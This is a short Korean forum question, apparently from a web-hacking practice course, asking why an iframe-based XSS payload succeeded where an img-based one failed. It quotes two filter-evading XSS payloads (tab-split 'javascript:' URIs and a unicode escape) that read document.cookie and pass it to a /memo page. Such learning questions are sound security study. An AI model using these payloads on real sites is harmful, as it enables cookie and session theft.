iframe과 img 태그의 차이 질문
<iframe src="javascri pt:locatio n.href='/memo?memo='+\u0064ocument.cookie">
<img src="javascri pt:locatio n.href='/memo?memo='+\u0064ocument.cookie">
문제 해결은 탭 문자와 유니코드를 이용해 필터링 우회하여 해결하였습니다.
저는 여태까지 로드맵을 진행하면서 XSS 문제는 img 태그와 onerror 이벤트를 이용하여 해결했는데, 이번에는 img를 사용한 코드가 동작하지 않았습니다.
위의 두 코드가 실행되는 데 어떤 차이가 있나요?
#web
작성자 정보
답변
0